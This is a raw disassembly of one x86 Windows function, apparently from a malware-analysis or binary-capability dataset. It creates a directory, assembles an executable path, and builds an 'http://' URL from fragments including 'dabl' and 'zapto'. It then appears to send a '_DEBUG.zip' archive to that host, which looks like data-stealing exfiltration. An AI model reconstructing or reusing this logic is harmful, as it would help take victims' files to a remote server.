Function at 0x4163f0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x7894
call fcn.0041c6f0
push ebx
push esi
push edi
push 0x4201f1
lea ecx, [ebp - 0xe8]
call fcn.0040f970
lea ecx, [ebp - 0x98]
call fcn.0040f960
lea ecx, [ebp - 0x8c]
call fcn.0040f960
lea ecx, [ebp - 0x80]
call fcn.0040f960
lea ecx, [ebp - 0x6c]
call fcn.0040f960
lea ecx, [ebp - 0xdc]
call fcn.0040f960
lea ecx, [ebp - 0xd0]
call fcn.0040f960
lea ecx, [ebp - 0xc4]
call fcn.0040f960
push 0x4201f1
lea ecx, [ebp - 0x98]
call fcn.0040fa00
push 0x4201f1
lea ecx, [ebp - 0x6c]
call fcn.0040fa00
xor edi, edi
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], 0x9c40
mov dword [ebp - 0x34], edi
mov dword [0xb39984], edi
mov dword [0xb3997c], edi
mov dword [0xb39978], edi
lea esi, [ebp - 0x7894]
mov ebx, 0xc7
lea esp, [esp]
mov ecx, esi
call fcn.0040f960
lea ecx, [esi + 0x10]
call fcn.0040f960
add esi, 0x28
dec ebx
jns 0x4164c0
lea esi, [ebp - 0x2f24]
mov ebx, 0xc7
mov ecx, esi
call fcn.0040f960
lea ecx, [esi + 0x10]
call fcn.0040f960
add esi, 0x1c
dec ebx
jns 0x4164e0
mov ebx, 0x63
lea esi, [ebp - 0x192c]
lea ecx, [esi - 0x18]
call fcn.0040f960
lea ecx, [esi - 0xc]
call fcn.0040f960
mov ecx, esi
call fcn.0040f960
add esi, 0x24
dec ebx
jns 0x416500
mov ebx, 0x63
lea esi, [ebp - 0x5938]
lea ecx, [esi - 0x1c]
call fcn.0040f960
lea ecx, [esi - 0xc]
call fcn.0040f960
mov ecx, esi
call fcn.0040f960
add esi, 0x2c
dec ebx
jns 0x416528
mov ebx, 0x63
lea esi, [ebp - 0x480c]
lea ecx, [esi - 0x18]
call fcn.0040f960
lea ecx, [esi - 0xc]
call fcn.0040f960
mov ecx, esi
call fcn.0040f960
lea ecx, [esi + 0x1c]
call fcn.0040f960
add esi, 0x40
dec ebx
jns 0x416550
mov ebx, 0x31
lea esi, [ebp - 0xb18]
lea ecx, [esi - 0x1c]
call fcn.0040f960
lea ecx, [esi - 0x10]
call fcn.0040f960
mov ecx, esi
call fcn.0040f960
lea ecx, [esi + 0xc]
call fcn.0040f960
add esi, 0x34
dec ebx
jns 0x416580
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x1c], edi
call fcn.00402510
call fcn.00417910
call fcn.00401000
test eax, eax
jne 0x41687a
push 0x4201f1
lea ecx, [ebp - 0x18]
call fcn.0040f970
push 0x423ed4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ed0
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ed0
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ecc
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ec8
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ec4
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ec0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ebc
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423eb8
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423eb4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423eb0
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423eac
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ea8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ea4
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ea0
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423e9c
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423e98
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push str..exe
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
lea ecx, [ebp - 0x18]
call fcn.0040fbb0
push eax
call fcn.00411560
add esp, 4
test al, al
jne 0x416872
push edi
push 0x6400000
push edi
call fcn.0041b100
add esp, 0xc
mov dword [0xb39980], eax
mov dword [0xb39978], 1
lea ecx, [ebp - 0x18]
call fcn.0040f9f0
lea eax, [ebp - 0xc]
push 0xc
push eax
call fcn.00410ce0
add esp, 8
push eax
lea ecx, [ebp - 0x80]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x4201f1
lea ecx, [ebp - 0xb4]
call fcn.0040f970
mov eax, dword [0xb28d98]
lea ecx, [ebp - 0x80]
push ecx
lea edx, [ebp - 0xc]
push edx
push eax
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0xb4]
call fcn.0040fb00
mov ecx, eax
call fcn.0040faa0
push eax
lea ecx, [ebp - 0xb4]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
lea ecx, [ebp - 0x18]
call fcn.0040f9f0
push edi
lea ecx, [ebp - 0xb4]
call fcn.0040fbb0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
lea eax, [ebp - 0x10c]
push eax
call fcn.004138c0
add esp, 0x6c
mov esi, eax
push esi
lea ecx, [ebp - 0xdc]
call fcn.0040fa50
lea ecx, [esi + 0xc]
push ecx
lea ecx, [ebp - 0xd0]
call fcn.0040fa50
add esi, 0x18
push esi
lea ecx, [ebp - 0xc4]
call fcn.0040fa50
lea ecx, [ebp - 0xf4]
call fcn.0040f9f0
lea ecx, [ebp - 0x100]
call fcn.0040f9f0
lea ecx, [ebp - 0x10c]
call fcn.0040f9f0
lea edx, [ebp - 0xdc]
push edx
lea ecx, [ebp - 0x98]
call fcn.0040fa50
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x8c]
call fcn.0040fa50
lea ecx, [ebp - 0x98]
push ecx
lea ecx, [ebp - 0xa4]
call fcn.0040f9b0
push 0x423c24
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0xa4]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0xa4]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
lea eax, [ebp - 0xc4]
push eax
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0xa4]
call fcn.0040faa0
push eax
lea ecx, [ebp - 0xa4]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push edi
push edi
push edi
push 1
lea ecx, [ebp - 0x8c]
call fcn.0040fbb0
push eax
call dword [0xb39ac4]
push edi
push edi
push edi
push 1
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x74], eax
call fcn.0040fbb0
push eax
call dword [0xb39ac4]
lea edx, [ebp - 0x98]
push edx
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x8c]
mov ecx, esp
push eax
call fcn.0040f9b0
call fcn.00401ed0
sub esp, 0xc
mov ecx, esp
push eax
call fcn.0040f970
sub esp, 0xc
push esp
call fcn.00410580
sub esp, 8
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.0040f9b0
push esi
call fcn.00403e20
add esp, 0x34
call fcn.00412560
add esp, 0x10
cmp dword [ebp - 0x38], edi
jne 0x416a89
mov dword [ebp - 0x38], 0xcb20
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x1944]
push ecx
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x423b5c
call fcn.0040f970
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
push esi
call fcn.00405bb0
add esp, 0x78
call fcn.00411fd0
add esp, 0x14
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x7894]
push ecx
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x423e94
call fcn.0040f970
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
push esi
call fcn.00405bb0
add esp, 0x78
call fcn.00411d70
add esp, 0x14
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x2f24]
push ecx
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x423e90
call fcn.0040f970
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
push esi
call fcn.00405bb0
add esp, 0x78
call fcn.00411ef0
sub esp, 0x54
lea eax, [ebp - 0x98]
mov ecx, esp
push eax
call fcn.00401080
call fcn.00414390
mov esi, dword [ebp - 0x30]
mov edx, dword [0x536470]
add esp, 0x50
mov eax, esp
mov dword [eax], esi
mov esi, dword [ebp - 0x2c]
mov dword [eax + 4], esi
mov esi, dword [ebp - 0x28]
mov dword [eax + 8], esi
mov esi, dword [ebp - 0x24]
mov dword [eax + 0xc], esi
mov esi, dword [ebp - 0x20]
mov dword [eax + 0x10], esi
mov esi, dword [ebp - 0x1c]
mov ecx, 0x428038
mov dword [eax + 0x14], esi
lea eax, [ebp - 0x1944]
push eax
lea eax, [ebp - 0x2f24]
push eax
lea eax, [ebp - 0x7894]
push eax
push edx
push ecx
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
call fcn.0040ea50
add esp, 0x94
cmp dword [ebp - 0x58], edi
je 0x416c55
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x5954]
push ecx
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x423e8c
call fcn.0040f970
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
push esi
call fcn.00405bb0
add esp, 0x78
call fcn.00412070
mov edx, dword [ebp - 0x2c]
push ecx
mov ecx, dword [ebp - 0x30]
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [ebp - 0x28]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x24]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x20]
mov dword [eax + 0xc], edx
mov edx, dword [ebp - 0x1c]
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], edx
lea eax, [ebp - 0x5954]
push eax
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
call fcn.00401c90
add esp, 0x84
cmp dword [ebp - 0x3c], edi
je 0x416ce5
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0xb34]
push ecx
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x423e88
call fcn.0040f970
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
push esi
call fcn.00405bb0
add esp, 0x78
call fcn.00411c80
mov edx, dword [ebp - 0x2c]
push ecx
mov ecx, dword [ebp - 0x30]
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [ebp - 0x28]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x24]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x20]
mov dword [eax + 0xc], edx
mov edx, dword [ebp - 0x1c]
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], edx
lea eax, [ebp - 0xb34]
push eax
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
call fcn.00413820
add esp, 0x84
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x4824]
push ecx
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x423e84
call fcn.0040f970
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
push esi
call fcn.00405bb0
add esp, 0x78
call fcn.00412170
mov edx, dword [ebp - 0x2c]
push ecx
mov ecx, dword [ebp - 0x30]
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [ebp - 0x28]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x24]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x20]
mov dword [eax + 0xc], edx
mov edx, dword [ebp - 0x1c]
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], edx
lea eax, [ebp - 0x4824]
push eax
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
call fcn.004154d0
add esp, 0x84
cmp dword [ebp - 0x48], edi
je 0x416d9d
sub esp, 0x68
lea eax, [ebp - 0x98]
mov ecx, esp
push eax
call fcn.00401080
call fcn.00415790
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
call fcn.004142e0
add esp, 0x68
cmp dword [ebp - 0x54], edi
je 0x416dbb
sub esp, 0x68
lea eax, [ebp - 0x98]
mov ecx, esp
push eax
call fcn.00401080
call fcn.00415be0
add esp, 0x68
cmp dword [ebp - 0x50], edi
je 0x416dd9
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
call fcn.00416080
add esp, 0x68
cmp dword [ebp - 0x34], edi
je 0x416df7
sub esp, 0x68
lea eax, [ebp - 0x98]
mov ecx, esp
push eax
call fcn.00401080
call fcn.00416230
add esp, 0x68
cmp dword [0xb3997c], edi
jbe 0x416e13
nop
push 0x3e8
call dword [0xb399f8]
cmp dword [0xb3997c], edi
ja 0x416e00
cmp dword [ebp - 0x4c], edi
je 0x416e33
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
push 0x43
call fcn.00411690
add esp, 0x6c
cmp dword [ebp - 0x3c], edi
jne 0x416ec3
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0xb34]
push ecx
sub esp, 0xc
mov esi, esp
sub esp, 0xc
mov ecx, esp
push 0x423e88
call fcn.0040f970
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
push esi
call fcn.00405bb0
add esp, 0x78
call fcn.00411c80
mov edx, dword [ebp - 0x2c]
push ecx
mov ecx, dword [ebp - 0x30]
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [ebp - 0x28]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x24]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x20]
mov dword [eax + 0xc], edx
mov edx, dword [ebp - 0x1c]
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], edx
lea eax, [ebp - 0xb34]
push eax
sub esp, 0x68
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
call fcn.00413820
add esp, 0x84
sub esp, 0xc
mov ecx, esp
push str.645327VdtSrezylanAPTH
call fcn.0040f970
sub esp, 0x68
lea eax, [ebp - 0x98]
mov ecx, esp
push eax
call fcn.00401080
lea ecx, [ebp - 0xc]
push ecx
call fcn.00405bb0
add esp, 0x78
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
call fcn.00401000
test eax, eax
jne 0x417318
push 0x4201f1
lea ecx, [ebp - 0x18]
call fcn.0040f970
push 0x423ed4
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ed0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ed0
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ecc
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ec8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ec4
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ec0
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ebc
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423eb8
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423eb4
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423eb0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423eac
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ea8
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ea4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423ea0
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423e9c
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push 0x423e98
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
push str..exe
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x18]
call fcn.0040fa50
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
lea ecx, [ebp - 0x18]
call fcn.0040fbb0
push eax
call fcn.00411560
add esp, 4
test al, al
jne 0x417310
mov ecx, dword [0xb39980]
lea edx, [ebp - 0xb8]
push edx
lea eax, [ebp - 0xa8]
push eax
push ecx
call fcn.0041c4a0
add esp, 0xc
push 0x4201f1
lea ecx, [ebp - 0xc]
call fcn.0040f970
push str.http:__
lea edx, [ebp - 0x24]
push edx
lea ecx, [ebp - 0xc]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0xc]
call fcn.0040fa50
lea ecx, [ebp - 0x24]
call fcn.0040f9f0
push 0x423e74
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0xc]
call fcn.0040fa50
lea ecx, [ebp - 0x24]
call fcn.0040f9f0
push str.dabl
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0xc]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0xc]
call fcn.0040fa50
lea ecx, [ebp - 0x24]
call fcn.0040f9f0
push 0x4201e4
lea edx, [ebp - 0x24]
push edx
lea ecx, [ebp - 0xc]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0xc]
call fcn.0040fa50
lea ecx, [ebp - 0x24]
call fcn.0040f9f0
push str.zapto
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0xc]
call fcn.0040fa50
lea ecx, [ebp - 0x24]
call fcn.0040f9f0
push 0x4201e4
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0xc]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0xc]
call fcn.0040fa50
lea ecx, [ebp - 0x24]
call fcn.0040f9f0
push 0x423e60
lea edx, [ebp - 0x24]
push edx
lea ecx, [ebp - 0xc]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0xc]
call fcn.0040fa50
lea ecx, [ebp - 0x24]
call fcn.0040f9f0
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xa8]
push eax
push ecx
sub esp, 0xc
mov ecx, esp
push str._DEBUG.zip
call fcn.0040f970
sub esp, 0xc
lea edx, [ebp - 0xc]
mov ecx, esp
push edx
call fcn.0040f9b0
sub esp, 0xc
lea eax, [ebp - 0x8c]
mov ecx, esp
push eax
call fcn.0040f9b0
sub esp, 0xc
lea edx, [ebp - 0x6c]
mov ecx, esp
push edx
call fcn.0040f9b0
mov eax, dword [ebp - 0x74]
push eax
lea ecx, [ebp - 0x24]
push ecx
call fcn.004045d0
add esp, 0x40
lea ecx, [ebp - 0x24]
call fcn.0040f9f0
lea ecx, [ebp - 0xc]
call fcn.0040f9f0
lea ecx, [ebp - 0x18]
call fcn.0040f9f0
lea ecx, [ebp - 0xb4]
call fcn.0040fbb0
push eax
call fcn.00411520
sub esp, 0x64
lea edx, [ebp - 0x98]
mov ecx, esp
push edx
call fcn.00401080
call fcn.00413110
add esp, 0x68
lea ecx, [ebp - 0xa4]
call fcn.0040f9f0
lea ecx, [ebp - 0xb4]
call fcn.0040f9f0
mov edi, 0x31
lea esi, [ebp - 0xf0]
sub esi, 0x34
lea ecx, [esi + 0xc]
call fcn.0040f9f0
mov ecx, esi
call fcn.0040f9f0
lea ecx, [esi - 0x10]
call fcn.0040f9f0
lea ecx, [esi - 0x1c]
call fcn.0040f9f0
dec edi
jns 0x417363
mov edi, 0x63
lea esi, [ebp - 0x2f0c]
sub esi, 0x40
lea ecx, [esi + 0x1c]
call fcn.0040f9f0
mov ecx, esi
call fcn.0040f9f0
lea ecx, [esi - 0xc]
call fcn.0040f9f0
lea ecx, [esi - 0x18]
call fcn.0040f9f0
dec edi
jns 0x417393
mov edi, 0x63
lea esi, [ebp - 0x4814]
sub esi, 0x2c
lea ecx, [esi + 0xc]
call fcn.0040f9f0
mov ecx, esi
call fcn.0040f9f0
lea ecx, [esi - 0x10]
call fcn.0040f9f0
dec edi
jns 0x4173c3
mov edi, 0x63
lea esi, [ebp - 0xb28]
jmp 0x4173f0
sub esi, 0x24
lea ecx, [esi + 0xc]
call fcn.0040f9f0
mov ecx, esi
call fcn.0040f9f0
lea ecx, [esi - 0xc]
call fcn.0040f9f0
dec edi
jns 0x4173f0
lea esi, [ebp - 0x1944]
mov edi, 0xc7
jmp 0x417420
sub esi, 0x1c
lea ecx, [esi + 0x10]
call fcn.0040f9f0
mov ecx, esi
call fcn.0040f9f0
dec edi
jns 0x417420
lea esi, [ebp - 0x5954]
mov edi, 0xc7
sub esi, 0x28
lea ecx, [esi + 0x10]
call fcn.0040f9f0
mov ecx, esi
call fcn.0040f9f0
dec edi
jns 0x417440
lea ecx, [ebp - 0xc4]
call fcn.0040f9f0
lea ecx, [ebp - 0xd0]
call fcn.0040f9f0
lea ecx, [ebp - 0xdc]
call fcn.0040f9f0
lea ecx, [ebp - 0x6c]
call fcn.0040f9f0
lea ecx, [ebp - 0x80]
call fcn.0040f9f0
lea ecx, [ebp - 0x8c]
call fcn.0040f9f0
lea ecx, [ebp - 0x98]
call fcn.0040f9f0
lea ecx, [ebp - 0xe8]
call fcn.0040f9f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret